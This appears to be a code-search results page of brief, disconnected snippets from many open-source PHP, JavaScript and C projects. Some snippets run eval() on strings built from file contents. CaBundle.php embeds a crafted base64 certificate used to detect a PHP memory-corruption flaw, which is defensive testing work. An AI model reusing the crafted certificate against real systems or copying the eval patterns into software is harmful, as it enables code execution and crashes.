This|title|setDefaults|returning|match|unbind|throw|onclick|checking|when|occured|onkeyup|removeAttr|exception|log|continue'.split('|'),0,{}))
                    
                
Legal-Guidelines.md https://gitlab.com/spotbotqa/legalmattic | Markdown | 147 lines
                    
40
                    
41*   https://mysite.wordpress.com/wp-admin/users.php?page=grofiles-editor (replacing “mysite.wordpress.com” with your URL)
                    
42*   https://wordpress.com/me
                    
74
                    
75As permitted by US law, we may disclose user information to the government or law enforcement, without a subpoena or warrant if we have a good faith belief that an emergency (danger of death or serious physical injury) requires disclosure of information related to the emergency without delay. We require emergency requests to be made in writing and include all the information available so that we may evaluate the urgency of the request. Additionally, we may ask for a subpoena, search warrant, or court order after the disclosure.
                    
76
                    
                
db_wp-admin_includes_schema.html https://github.com/benatkin/wp-docblox-docs.git | HTML | 377 lines
                    
48            $(this).parent().nextAll('div.code-tabs').slideToggle();
                    
49            $(this).parent().prevAll('a.gripper').children('img').toggle();
                    
50            return false;
                    
54        $('a.gripper').show();
                    
55        $('div.code-tabs:empty').prevAll('a.gripper').html('');
                    
56        $('div.file-nav').show();
                    
71      
                    
72    </script><h1 class="file">wp-admin/includes/schema.php</h1>
                    
73<div class="file-nav">
                    
                
firebird.php https://github.com/lucanos/scuttle.git | PHP | 527 lines
                    
1<?php
                    
2/** 
                    
4* @package dbal_firebird
                    
5* @version $Id: firebird.php,v 1.2 2005/06/10 08:52:03 devalley Exp $
                    
6* @copyright (c) 2005 phpBB Group 
                    
6* @copyright (c) 2005 phpBB Group 
                    
7* @license http://opensource.org/licenses/gpl-license.php GNU Public License 
                    
8*
                    
235	{
                    
236		// TODO: hmm, maybe doing something similar as in mssql-odbc.php?
                    
237		return ($this->query_result) ? true : false;
                    
402		{
                    
403			$this_page =(!empty($_SERVER['PHP_SELF'])) ? $_SERVER['PHP_SELF'] : $_ENV['PHP_SELF'];
                    
404			$this_page .= '&' .((!empty($_SERVER['QUERY_STRING'])) ? $_SERVER['QUERY_STRING'] : $_ENV['QUERY_STRING']);
                    
454				echo '</style><title>' . $msg_title . '</title></head><body>';
                    
455				echo '<table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td><a href="' . htmlspecialchars(preg_replace('/&explain=([^&]*)/', '', $_SERVER['REQUEST_URI'])) . '"><img src="' . $phpbb_root_path . 'adm/images/header_left.jpg" width="200" height="60" alt="phpBB Logo" title="phpBB Logo" border="0"/></a></td><td width="100%" background="' . $phpbb_root_path . 'adm/images/header_bg.jpg" height="60" align="right" nowrap="nowrap"><span class="maintitle">SQL Report</span> &nbsp; &nbsp; &nbsp;</td></tr></table><br clear="all"/><table width="95%" cellspacing="1" cellpadding="4" border="0" align="center"><tr><td height="40" align="center" valign="middle"><b>Page generated in ' . round($totaltime, 4) . " seconds with {$this->num_queries} queries" . (($cache_num_queries) ? " + $cache_num_queries " . (($cache_num_queries == 1) ? 'query' : 'queries') . ' returning data from cache' : '') . '</b></td></tr><tr><td align="center" nowrap="nowrap">Time spent on MySQL queries: <b>' . round($this->sql_time, 5) . 's</b> | Time spent on PHP: <b>' . round($totaltime - $this->sql_time, 5) . 's</b></td></tr></table><table width="95%" cellspacing="1" cellpadding="4" border="0" align="center"><tr><td>';
                    
456				echo $sql_report;
                    
                
TorqueTest.php https://github.com/MontmereLimited/zf2.git | PHP | 388 lines
                    
1<?php
                    
2/**
                    
108     */
                    
109    public function testTorqueValuePositive()
                    
110    {
                    
119     */
                    
120    public function testTorqueValueNegative()
                    
121    {
                    
130     */
                    
131    public function testTorqueValueDecimal()
                    
132    {
                    
141     */
                    
142    public function testTorqueValueDecimalSeperated()
                    
143    {
                    
152     */
                    
153    public function testTorqueValueString()
                    
154    {
                    
                
mathslib_test.php https://github.com/mackensen/moodle.git | PHP | 318 lines
                    
1<?php
                    
2// This file is part of Moodle - http://moodle.org/
                    
17/**
                    
18 * Unit tests of mathslib wrapper and underlying EvalMath library.
                    
19 *
                    
20 * @package    core
                    
21 * @category   phpunit
                    
22 * @copyright  2007 Petr Skoda {@link http://skodak.org}
                    
28global $CFG;
                    
29require_once($CFG->libdir . '/mathslib.php');
                    
30
                    
34    /**
                    
35     * Tests the basic formula evaluation.
                    
36     */
                    
38        $formula = new calc_formula('=1+2');
                    
39        $res = $formula->evaluate();
                    
40        $this->assertSame($res, 3, '3+1 is: %s');
                    
                
Entry.php https://bitbucket.org/cesarmedrano/cesarmedrano.git | PHP | 630 lines
                    
1<?php
                    
2
                    
14 * 
                    
15 * PHP version 5
                    
16 *
                    
18 * @package   WindowsAzure\Common\Internal\Atom
                    
19 * @author    Azure PHP SDK <azurephpsdk@microsoft.com>
                    
20 * @copyright 2012 Microsoft Corporation
                    
21 * @license   http://www.apache.org/licenses/LICENSE-2.0  Apache License 2.0
                    
22 * @link      https://github.com/WindowsAzure/azure-sdk-for-php
                    
23 */
                    
34 * @package   WindowsAzure\Common\Internal\Atom
                    
35 * @author    Azure PHP SDK <azurephpsdk@microsoft.com>
                    
36 * @copyright 2012 Microsoft Corporation
                    
38 * @version   Release: @package_version@
                    
39 * @link      https://github.com/WindowsAzure/azure-sdk-for-php
                    
40 */
                    
                
Configurable.php https://github.com/ticean/magento-mirror.git | PHP | 324 lines
                    
1<?php
                    
2/**
                    
9 * It is also available through the world-wide-web at this URL:
                    
10 * http://opensource.org/licenses/osl-3.0.php
                    
11 * If you did not receive a copy of the license and are unable to
                    
23 * @copyright   Copyright (c) 2010 Magento Inc. (http://www.magentocommerce.com)
                    
24 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
25 */
                    
120                $productAttributeId = $productAttribute->getId();
                    
121                $attributeValue     = $product->getData($productAttribute->getAttributeCode());
                    
122                if (!isset($options[$productAttributeId])) {
                    
125
                    
126                if (!isset($options[$productAttributeId][$attributeValue])) {
                    
127                    $options[$productAttributeId][$attributeValue] = array();
                    
128                }
                    
129                $options[$productAttributeId][$attributeValue][] = $productId;
                    
130            }
                    
                
overall_header.html https://github.com/dellsystem/ssuns-2011.git | HTML | 192 lines
                    
10<meta name="distribution" content="global" />
                    
11<meta name="copyright" content="2000, 2002, 2005, 2007 phpBB Group" />
                    
12<meta name="keywords" content="" />
                    
28<!--
                    
29	phpBB style name: prosilver Special Edition
                    
30	Based on style:   prosilver (this is the default phpBB3 style)
                    
31	Original author:  Tom Beddard ( http://www.subBlue.com/ )
                    
32	Modified by: phpBB Styles Team     
                    
33	
                    
33	
                    
34	NOTE: This page was generated by phpBB, the free open-source bulletin board package.
                    
35	      The phpBB Group is not responsible for the content of this page and forum. For more information
                    
35	      The phpBB Group is not responsible for the content of this page and forum. For more information
                    
36	      about phpBB please visit http://www.phpbb.com
                    
37-->
                    
                
Driver.php https://bitbucket.org/pastor399/newcastleunifc.git | PHP | 280 lines
                    
1<?php
                    
2/*
                    
2/*
                    
3 *  $Id: Driver.php 48519 2012-02-03 23:18:52Z btowles $
                    
4 *
                    
26 * @subpackage  Cache
                    
27 * @license     http://www.opensource.org/licenses/lgpl-license.php LGPL
                    
28 * @link        www.doctrine-project.org
                    
85     * @param string $id cache id
                    
86     * @param boolean $testCacheValidity        if set to false, the cache validity won't be tested
                    
87     * @return mixed  Returns either the cached data or false
                    
88     */
                    
89    public function fetch($id, $testCacheValidity = true)
                    
90    {
                    
91        $key = $this->_getKey($id);
                    
92        return $this->_doFetch($key, $testCacheValidity);
                    
93    }
                    
                
pci-label.c https://github.com/Mengqi/linux-2.6.git | C | 383 lines
                    
18 *
                    
19 * Please see http://linux.dell.com/wiki/index.php/Oss/libnetdevname for more
                    
20 * information.
                    
230
                    
231	err = acpi_evaluate_object(handle, "_DSM", &input, output);
                    
232	if (err)
                    
                
Location.php https://github.com/michaelmcandrew/vaw.git | PHP | 387 lines
                    
1<?php
                    
2
                    
36
                    
37require_once 'CRM/Core/BAO/Phone.php';
                    
38require_once 'CRM/Core/BAO/Email.php';
                    
38require_once 'CRM/Core/BAO/Email.php';
                    
39require_once 'CRM/Core/BAO/IM.php';
                    
40require_once 'CRM/Core/BAO/OpenID.php';
                    
40require_once 'CRM/Core/BAO/OpenID.php';
                    
41require_once 'CRM/Core/BAO/Address.php';
                    
42require_once 'CRM/Core/BAO/Block.php';
                    
74            if ( $block != 'address' ) {
                    
75                eval( '$location[$block] = CRM_Core_BAO_Block::create( $block, $params, $entity );');
                    
76            } else {
                    
163    {
                    
164        require_once 'CRM/Core/DAO/LocBlock.php';
                    
165        $locBlock = new CRM_Core_DAO_LocBlock();
                    
                
util.py https://bitbucket.org/verilab/tanto.git | Python | 426 lines
                    
4# This module is part of Mako and is released under
                    
5# the MIT License: http://www.opensource.org/licenses/mit-license.php
                    
6
                    
119class memoized_property(object):
                    
120    """A read-only @property that is only evaluated once."""
                    
121    def __init__(self, fget, doc=None):
                    
                
Abstract.php https://bitbucket.org/kudutest1/moodlegit.git | PHP | 456 lines
                    
1<?php
                    
2/**
                    
24 */
                    
25require_once 'Zend/Validate/Interface.php';
                    
26
                    
67     */
                    
68    protected $_obscureValue = false;
                    
69
                    
151        if (!isset($this->_messageTemplates[$messageKey])) {
                    
152            require_once 'Zend/Validate/Exception.php';
                    
153            throw new Zend_Validate_Exception("No message template exists for key '$messageKey'");
                    
193         */
                    
194        require_once 'Zend/Validate/Exception.php';
                    
195        throw new Zend_Validate_Exception("No property exists by the name '$property'");
                    
235
                    
236        if ($this->getObscureValue()) {
                    
237            $value = str_repeat('*', strlen($value));
                    
                
Australiapost.php https://bitbucket.org/dnejedly/eaparts.git | PHP | 370 lines
                    
1<?php
                    
2/**
                    
9 * It is also available through the world-wide-web at this URL:
                    
10 * http://opensource.org/licenses/osl-3.0.php
                    
11 * If you did not receive a copy of the license and are unable to
                    
18 * @copyright  Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
                    
19 * @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
20 */
                    
113						// Insurance only covers up to $5000 worth of goods.
                    
114						$packageValue = ($request->getPackageValue() > 5000) ? 5000 : $request->getPackageValue();
                    
115					
                    
117						// included in normal registered post costs.
                    
118						$insurance = (ceil($packageValue / 100) - 1) * 1.25;
                    
119						
                    
197					// Insurance only covers up to $5000 worth of goods.
                    
198					$packageValue = ($request->getPackageValue() > 5000) ? 5000 : $request->getPackageValue();
                    
199				
                    
                
BaseVarDumper.php https://gitlab.com/afzalpotenza/YII_salon | PHP | 272 lines
                    
1<?php
                    
2/**
                    
56        if ($highlight) {
                    
57            $result = highlight_string("<?php\n" . self::$_output, true);
                    
58            self::$_output = preg_replace('/&lt;\\?php<br \\/>/', '', $result, 1);
                    
119                    self::$_output .= "$className#$id\n" . $spaces . '(';
                    
120                    if ('__PHP_Incomplete_Class' !== get_class($var) && method_exists($var, '__debugInfo')) {
                    
121                        $dumpValues = $var->__debugInfo();
                    
141     *
                    
142     * The string is a valid PHP expression that can be evaluated by PHP parser
                    
143     * and the evaluation result will give back the variable value.
                    
147     *
                    
148     * It also handles objects by using the PHP functions serialize() and unserialize().
                    
149     *
                    
149     *
                    
150     * PHP 5.4 or above is required to parse the exported value.
                    
151     *
                    
                
COutputCache.php https://github.com/pittwt/myjackshop.git | PHP | 338 lines
                    
1<?php
                    
2/**
                    
55 * <li>{@link varyByExpression}: this specifies whether the cached content
                    
56 *   should be varied with the result of the specified PHP expression.</li>
                    
57 * </ul>
                    
60 * @author Qiang Xue <qiang.xue@gmail.com>
                    
61 * @version $Id: COutputCache.php 2799 2011-01-01 19:31:13Z qiang.xue $
                    
62 * @package system.web.widgets
                    
94	/**
                    
95	 * @var string a PHP expression whose result is used in the cache key calculation.
                    
96	 * By setting this property, the output cache will use different cached data
                    
97	 * for each different expression result.
                    
98	 * Starting from version 1.0.11, the expression can also be a valid PHP callback,
                    
99	 * including class method name (array(ClassName/Object, MethodName)),
                    
99	 * including class method name (array(ClassName/Object, MethodName)),
                    
100	 * or anonymous function (PHP 5.3.0+). The function/method signature should be as follows:
                    
101	 * <pre>
                    
                
class.moderationcontroller.php https://github.com/abhishekmica/Garden.git | PHP | 319 lines
                    
1<?php if (!defined('APPLICATION')) exit();
                    
2/*
                    
75            } else {
                    
76               RemoveValueFromArray($CheckedComments[$DiscussionID], $Check['checkId']);
                    
77            }
                    
155            } else {
                    
156               RemoveValueFromArray($CheckedDiscussions, $Check['checkId']);
                    
157            }
                    
                
wp-cache-phase1.php https://github.com/brandonburke/WordPress-Plugin-Baseline.git | PHP | 369 lines
                    
1<?php
                    
2// Pre-2.6 compatibility
                    
5
                    
6if( !include( WP_CONTENT_DIR . '/wp-cache-config.php' ) )
                    
7	return true;
                    
10
                    
11include( WPCACHEHOME . 'wp-cache-base.php');
                    
12
                    
26
                    
27require_once( WPCACHEHOME . 'wp-cache-phase2.php');
                    
28
                    
28
                    
29$plugins = glob( $wp_cache_plugins_dir . '/*.php' );
                    
30if( is_array( $plugins ) ) {
                    
48function gzip_accepted(){
                    
49	if( ini_get( 'zlib.output_compression' ) ) // don't compress WP-Cache data files when PHP is already doing it
                    
50		return false;
                    
                
BakeView.php https://gitlab.com/BitCoding/bake | PHP | 273 lines
                    
22     *
                    
23     * phpTagReplacements are applied to the contents of a bake template, to allow php tags
                    
24     * to be treated as plain text
                    
30     *     Add an extra newline to <%=, to counteract php automatically removing a newline
                    
31     *     Replace remaining <=% with php short echo tags
                    
32     *     Replace <% with php open tags
                    
37    protected $_defaultConfig = [
                    
38        'phpTagReplacements' => [
                    
39            '<?' => "<BitPHPBakeOpenTag",
                    
39            '<?' => "<BitPHPBakeOpenTag",
                    
40            '?>' => "BitPHPBakeCloseTag>"
                    
41        ],
                    
189
                    
190        $unPhp = $this->config('phpTagReplacements');
                    
191        return str_replace(array_values($unPhp), array_keys($unPhp), $content);
                    
                
2008-11-06-usability-vs-discoverability.aspx.markdown https://gitlab.com/Blueprint-Marketing/haacked.com | Markdown | 167 lines
                    
41Rick Osborne in his post, [Usability vs
                    
42Discoverability](http://rickosborne.org/blog/index.php/2007/04/19/usability-vs-discoverability/ "Usability vs Discoverability"),
                    
43also covers this distinction, while Scott Berkun points out in his post
                    
57
                    
58The type of this property is `RouteValueDictionary` which contains
                    
59string keys mapped to `object` values. Note that by having the values of
                    
69route.Constraints = 
                    
70  new RouteValueDictionary {{ "{{" }}"foo", "abc.*"}, {"bar", "\w{4}"}};
                    
71RouteTable.Routes.Add(route);
                    
134syntax](http://haacked.com/archive/2008/01/06/collection-initializers.aspx "Collection Initializers")
                    
135for `RouteValueDictionary`.
                    
136
                    
                
lagrange_triangle.cpp https://gitlab.com/philipclaude/avro2 | C++ | 411 lines
                    
7// Licensed under The GNU Lesser General Public License, version 2.1
                    
8// See http://www.opensource.org/licenses/lgpl-2.1.php
                    
9//
                    
36void
                    
37Lagrange<Simplex,2,1>::eval( const real_t* x , real_t* phi ) {
                    
38  real_t s = x[0];
                    
74void
                    
75Lagrange<Simplex,2,2>::eval( const real_t* x , real_t* phi ) {
                    
76  real_t s = x[0];
                    
146void
                    
147Lagrange<Simplex,2,3>::eval( const real_t* x , real_t* phi ) {
                    
148  real_t s = x[0];
                    
245void
                    
246Lagrange<Simplex,2,4>::eval( const real_t* x , real_t* phi ) {
                    
247  real_t s = x[0];
                    
                
Driver.php https://github.com/IDCI-Consulting/WebsiteEval.git | PHP | 280 lines
                    
1<?php
                    
2/*
                    
2/*
                    
3 *  $Id: Driver.php 7490 2010-03-29 19:53:27Z jwage $
                    
4 *
                    
26 * @subpackage  Cache
                    
27 * @license     http://www.opensource.org/licenses/lgpl-license.php LGPL
                    
28 * @link        www.doctrine-project.org
                    
85     * @param string $id cache id
                    
86     * @param boolean $testCacheValidity        if set to false, the cache validity won't be tested
                    
87     * @return mixed  Returns either the cached data or false
                    
88     */
                    
89    public function fetch($id, $testCacheValidity = true)
                    
90    {
                    
91        $key = $this->_getKey($id);
                    
92        return $this->_doFetch($key, $testCacheValidity);
                    
93    }
                    
                
firefox.html https://github.com/jlongster/mozilla.com.git | HTML | 49 lines
                    
1<?php
                    
2    // The $body_* variables are for compatibility with pre-existing css
                    
10    $pageid = "eula";
                    
11    include_once "{$config['file_root']}/includes/l10n/controller.inc.php";
                    
12
                    
29<p>La versión de código ejecutable adjunta de Mozilla Firefox y la documentación relacionada (el "Producto") están a su disposición, de conformidad con los términos del presente CONTRATO DE LICENCIA DE SOFTWARE DE USUARIO FINAL DE MOZILLA FIREFOX (EL "CONTRATO"). AL HACER CLIC EN EL BOTÓN "ACEPTAR" O AL INSTALAR O USAR EL BUSCADOR MOZILLA FIREFOX, USTED ACEPTA LAS OBLIGACIONES INHERENTES AL CONTRATO. SI NO ESTUVIERA DE ACUERDO CON LOS TÉRMINOS Y CONDICIONES DEL MISMO, NO HAGA CLIC EN EL BOTÓN "ACEPTAR" Y  NO INSTALE NI USE NINGUNA PARTE DEL BUSCADOR MOZILLA FIREFOX. DURANTE EL PROCESO DE INSTALACIÓN DE MOZILLA FIREFOX Y EN EL FUTURO, CIERTOS PROVEEDORES DE SOFTWARE INDEPENDIENTES PUEDEN BRINDARLE LA OPCIÓN DE INSTALAR COMPONENTES ADICIONALES. LA INSTALACIÓN Y EL USO DE ESOS COMPONENTES DE TERCEROS PUEDEN REGIRSE POR OTROS CONTRATOS DE LICENCIA.</p>
                    
30<p>1. CONCESIÓN DE LA LICENCIA. The Mozilla Corporation le otorga una licencia no exclusiva para usar la versión con código ejecutable del Producto. El presente Contrato también regirá sobre cualquiera de las actualizaciones de software provistas por Mozilla que reemplacen y/o complementen al Producto original, a menos que dichas actualizaciones estén acompañadas de una licencia separada, en cuyo caso prevalecerán los términos de esa licencia.</p>
                    
31<p>2. EXTINCIÓN DEL CONTRATO. Si usted comete una violación contractual, su derecho a usar el Producto cesará de inmediato y sin notificación previa, aunque todas las disposiciones del mismo —con excepción de la concesión de licencia (párrafo 1)— subsistirán a dicha extinción y conservarán su validez. Ante la extinción contractual, usted debe destruir todas las copias del Producto.</p>
                    
46    </div><!-- end #content div -->
                    
47<?php
                    
48    include_once "{$config['file_root']}/includes/l10n/footer-pages.inc.php";
                    
                
Account.php https://github.com/grandison/budo16.git | PHP | 317 lines
                    
1<?php
                    
2
                    
9 * @license    http://www.socialengine.net/license/
                    
10 * @version    $Id: Account.php 8913 2011-05-02 18:03:07Z shaun $
                    
11 * @author     John
                    
57    if( $settings->getSetting('user.signup.inviteonly') > 0 ) {
                    
58      $codeValidator = new Engine_Validate_Callback(array($this, 'checkInviteCode'), $this->email);
                    
59      $codeValidator->setMessage("This invite code is invalid or does not match the selected email address");
                    
63      ));
                    
64      $this->code->addValidator($codeValidator);
                    
65
                    
                
FileValidatorTest.php https://github.com/Exercise/symfony.git | PHP | 324 lines
                    
1<?php
                    
2
                    
14use Symfony\Component\Validator\Constraints\File;
                    
15use Symfony\Component\Validator\Constraints\FileValidator;
                    
16use Symfony\Component\HttpFoundation\File\File as FileObject;
                    
18
                    
19abstract class FileValidatorTest extends \PHPUnit_Framework_TestCase
                    
20{
                    
32        $this->context = $this->getMock('Symfony\Component\Validator\ExecutionContext', array(), array(), '', false);
                    
33        $this->validator = new FileValidator();
                    
34        $this->validator->initialize($this->context);
                    
34        $this->validator->initialize($this->context);
                    
35        $this->path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'FileValidatorTest';
                    
36        $this->file = fopen($this->path, 'w');
                    
                
EPhotoValidator.php https://github.com/LosYear/FluentCMS.git | PHP | 284 lines
                    
1<?php
                    
2Yii::import('application.modules.user.UserModule');
                    
40
                    
41class EPhotoValidator extends CFileValidator {
                    
42
                    
                
ParameterTest.php https://gitlab.com/x33n/respond | PHP | 416 lines
                    
1<?php
                    
2
                    
113
                    
114    public function testParsesTypeValues()
                    
115    {
                    
                
theme.php https://github.com/lucasgoicoechea/prolab.git | PHP | 244 lines
                    
1<?php
                    
2
                    
37
                    
38include("themes/Odyssey/tables.php");
                    
39
                    
56    if ($banners) {
                    
57	include("banners.php");
                    
58    }
                    
68    if ($username == "Anonymous") {
                    
69	$theuser = "&nbsp;&nbsp;<a href=\"modules.php?name=Your_Account\">Create an account";
                    
70    } else {
                    
77    $thefile = "\$r_file=\"".$thefile."\";";
                    
78    eval($thefile);
                    
79    print $r_file;
                    
84    $thefile = "\$r_file=\"".$thefile."\";";
                    
85    eval($thefile);
                    
86    print $r_file;
                    
                
CaBundle.php https://gitlab.com/imamul68e/137619_PHP31 | PHP | 291 lines
                    
195        // Vulnerable:
                    
196        // PHP 5.3.0 - PHP 5.3.27
                    
197        // PHP 5.4.0 - PHP 5.4.22
                    
199        if (
                    
200               (PHP_VERSION_ID < 50400 && PHP_VERSION_ID >= 50328)
                    
201            || (PHP_VERSION_ID < 50500 && PHP_VERSION_ID >= 50423)
                    
201            || (PHP_VERSION_ID < 50500 && PHP_VERSION_ID >= 50423)
                    
202            || (PHP_VERSION_ID < 50600 && PHP_VERSION_ID >= 50507)
                    
203        ) {
                    
244        // Based on testcase in https://github.com/php/php-src/commit/c1224573c773b6845e83505f717fbf820fc18415
                    
245        // changes in https://github.com/php/php-src/commit/76a7fd893b7d6101300cc656058704a73254d593
                    
246        $cert = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVwRENDQTR5Z0F3SUJBZ0lKQUp6dThyNnU2ZUJjTUEwR0NTcUdTSWIzRFFFQkJRVUFNSUhETVFzd0NRWUQKVlFRR0V3SkVSVEVjTUJvR0ExVUVDQXdUVG05eVpISm9aV2x1TFZkbGMzUm1ZV3hsYmpFUU1BNEdBMVVFQnd3SApTOE9Ed3Jac2JqRVVNQklHQTFVRUNnd0xVMlZyZEdsdmJrVnBibk14SHpBZEJnTlZCQXNNRmsxaGJHbGphVzkxCmN5QkRaWEowSUZObFkzUnBiMjR4SVRBZkJnTlZCQU1NR0cxaGJHbGphVzkxY3k1elpXdDBhVzl1WldsdWN5NWsKWlRFcU1DZ0dDU3FHU0liM0RRRUpBUlliYzNSbFptRnVMbVZ6YzJWeVFITmxhM1JwYjI1bGFXNXpMbVJsTUhVWQpaREU1TnpBd01UQXhNREF3TURBd1dnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEKQUFBQUFBQVhEVEUwTVRFeU9ERXhNemt6TlZvd2djTXhDekFKQmdOVkJBWVRBa1JGTVJ3d0dnWURWUVFJREJOTwpiM0prY21obGFXNHRWMlZ6ZEdaaGJHVnVNUkF3RGdZRFZRUUhEQWRMdzRQQ3RteHVNUlF3RWdZRFZRUUtEQXRUClpXdDBhVzl1UldsdWN6RWZNQjBHQTFVRUN3d1dUV0ZzYVdOcGIzVnpJRU5sY25RZ1UyVmpkR2x2YmpFaE1COEcKQTFVRUF3d1liV0ZzYVdOcGIzVnpMbk5sYTNScGIyNWxhVzV6TG1SbE1Tb3dLQVlKS29aSWh2Y05BUWtCRmh0egpkR1ZtWVc0dVpYTnpaWEpBYzJWcmRHbHZibVZwYm5NdVpHVXdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCCkR3QXdnZ0VLQW9JQkFRRERBZjNobDdKWTBYY0ZuaXlFSnBTU0RxbjBPcUJyNlFQNjV1c0pQUnQvOFBhRG9xQnUKd0VZVC9OYSs2ZnNnUGpDMHVLOURaZ1dnMnRIV1dvYW5TYmxBTW96NVBINlorUzRTSFJaN2UyZERJalBqZGhqaAowbUxnMlVNTzV5cDBWNzk3R2dzOWxOdDZKUmZIODFNTjJvYlhXczROdHp0TE11RDZlZ3FwcjhkRGJyMzRhT3M4CnBrZHVpNVVhd1Raa3N5NXBMUEhxNWNNaEZHbTA2djY1Q0xvMFYyUGQ5K0tBb2tQclBjTjVLTEtlYno3bUxwazYKU01lRVhPS1A0aWRFcXh5UTdPN2ZCdUhNZWRzUWh1K3ByWTNzaTNCVXlLZlF0UDVDWm5YMmJwMHdLSHhYMTJEWAoxbmZGSXQ5RGJHdkhUY3lPdU4rblpMUEJtM3ZXeG50eUlJdlZBZ01CQUFHalFqQkFNQWtHQTFVZEV3UUNNQUF3CkVRWUpZSVpJQVliNFFnRUJCQVFEQWdlQU1Bc0dBMVVkRHdRRUF3SUZvREFUQmdOVkhTVUVEREFLQmdnckJnRUYKQlFjREFqQU5CZ2txaGtpRzl3MEJBUVVGQUFPQ0FRRUFHMGZaWVlDVGJkajFYWWMrMVNub2FQUit2SThDOENhRAo4KzBVWWhkbnlVNGdnYTBCQWNEclk5ZTk0ZUVBdTZacXljRjZGakxxWFhkQWJvcHBXb2NyNlQ2R0QxeDMzQ2tsClZBcnpHL0t4UW9oR0QySmVxa2hJTWxEb214SE83a2EzOStPYThpMnZXTFZ5alU4QVp2V01BcnVIYTRFRU55RzcKbFcyQWFnYUZLRkNyOVRuWFRmcmR4R1ZFYnY3S1ZRNmJkaGc1cDVTanBXSDErTXEwM3VSM1pYUEJZZHlWODMxOQpvMGxWajFLRkkyRENML2xpV2lzSlJvb2YrMWNSMzVDdGQwd1lCY3BCNlRac2xNY09QbDc2ZHdLd0pnZUpvMlFnClpzZm1jMnZDMS9xT2xOdU5xLzBUenprVkd2OEVUVDNDZ2FVK1VYZTRYT1Z2a2NjZWJKbjJkZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K';
                    
269            count($output) === 3
                    
270            && $output[0] === sprintf('string(%d) "%s"', strlen(PHP_VERSION), PHP_VERSION)
                    
271            && $output[1] === 'string(27) "stefan.esser@sektioneins.de"'
                    
                
ValidatorTest.php https://github.com/solo-framework/solo-framework.git | PHP | 380 lines
                    
1<?php
                    
2
                    
3require_once "../Solo/Lib/Validator/IValidatorRule.php";
                    
4require_once "../Solo/Lib/Validator/BaseValidatorRule.php";
                    
5require_once "../Solo/Lib/Validator/Validator.php";
                    
5require_once "../Solo/Lib/Validator/Validator.php";
                    
6require_once "../Solo/Lib/Validator/DateTimeValidator.php";
                    
7require_once "../Solo/Lib/Validator/IdValidatorRule.php";
                    
10use Solo\Lib\Validator\Validator;
                    
11use Solo\Lib\Validator\DateTimeValidator;
                    
12
                    
286		$this->val->check("2005-08-09")->addValidator(
                    
287			new DateTimeValidator("comment", DateTimeValidator::FORMAT_ISO_8601)
                    
288		);
                    
293		$this->val->check("2005-08-09 12:33:45")->addValidator(
                    
294			new DateTimeValidator("comment", DateTimeValidator::FORMAT_ISO_8601)
                    
295		);
                    
                
Store.php https://github.com/speedupmate/Magento-CE-Mirror.git | PHP | 510 lines
                    
1<?php
                    
2/**
                    
9 * It is also available through the world-wide-web at this URL:
                    
10 * http://opensource.org/licenses/osl-3.0.php
                    
11 * If you did not receive a copy of the license and are unable to
                    
23 * @copyright  Copyright (c) 2006-2020 Magento, Inc. (http://www.magento.com)
                    
24 * @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
25 */
                    
122     */
                    
123    public function getStoreValuesForForm($empty = false, $all = false)
                    
124    {
                    
252     */
                    
253    public function getWebsiteValuesForForm($empty = false, $all = false)
                    
254    {
                    
                
ScrollBar.js https://github.com/stephaneerard/qooxdoo.git | JavaScript | 429 lines
                    
11     LGPL: http://www.gnu.org/licenses/lgpl.html
                    
12     EPL: http://www.eclipse.org/org/documents/epl-v10.php
                    
13     See the LICENSE file in the project's left-level directory for details.
                    
204          control.setFocusable(false);
                    
205          control.addListener("changeValue", this._onChangeSliderValue, this);
                    
206          this._add(control, {flex: 1});
                    
                
Abstract.php https://github.com/ticean/magento-mirror.git | PHP | 517 lines
                    
1<?php
                    
2/**
                    
9 * It is also available through the world-wide-web at this URL:
                    
10 * http://opensource.org/licenses/osl-3.0.php
                    
11 * If you did not receive a copy of the license and are unable to
                    
23 * @copyright   Copyright (c) 2010 Magento Inc. (http://www.magentocommerce.com)
                    
24 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
25 */
                    
123     */
                    
124    public function useValidateRemoteAddr()
                    
125    {
                    
127        if (is_null($use)) {
                    
128            return parent::useValidateRemoteAddr();
                    
129        }
                    
137     */
                    
138    public function useValidateHttpVia()
                    
139    {
                    
                
ReporteEgresoView.php https://bitbucket.org/raboit/sisfac.git | PHP | 286 lines
                    
1<?php
                    
2
                    
19                        $default_border = array(
                    
20                            'style' => PHPExcel_Style_Border::BORDER_THIN,
                    
21                            'color' => array('rgb'=>'000000')
                    
31                                                    'fill' => array(
                    
32                                'type' => PHPExcel_Style_Fill::FILL_SOLID,
                    
33                                'color' => array('rgb'=>'819FF7'),
                    
109				if($column->value!==null) 
                    
110					$value=$this->evaluateExpression($column->value ,array('row'=>$row,'data'=>self::$data));
                    
111				  
                    
245				foreach($this->columns as $n=>$column)
                    
246					self::$objPHPExcel->getActiveSheet()->getColumnDimension($this->columnName($n+1))->setAutoSize(true);
                    
247			
                    
248			//create writer for saving
                    
249			$objWriter = PHPExcel_IOFactory::createWriter(self::$objPHPExcel, $this->exportType);
                    
250			if(!$this->stream)
                    
                
contact.php https://gitlab.com/h94373035/web | PHP | 301 lines
                    
1<?php
                    
2session_start();
                    
26  function MM_callJS(jsStr) { //v2.0
                    
27  return eval(jsStr)
                    
28  }
                    
76      <ul class="lavaLampWithImage">
                    
77        <li><a href="home.php">首頁</a></li>
                    
78        <?php
                    
80           		{
                    
81           			 echo "<li><a href=\"register.php\">志工報名</a></li>";
                    
82           		}
                    
87        	?>
                    
88        	<?php
                    
89          		if($_SESSION["login_status"]=="login_ok")
                    
90           	 	{
                    
91            		echo "<li><a href=\"pictures.php\">觀賞照片</a></li>";
                    
92            	}
                    
                
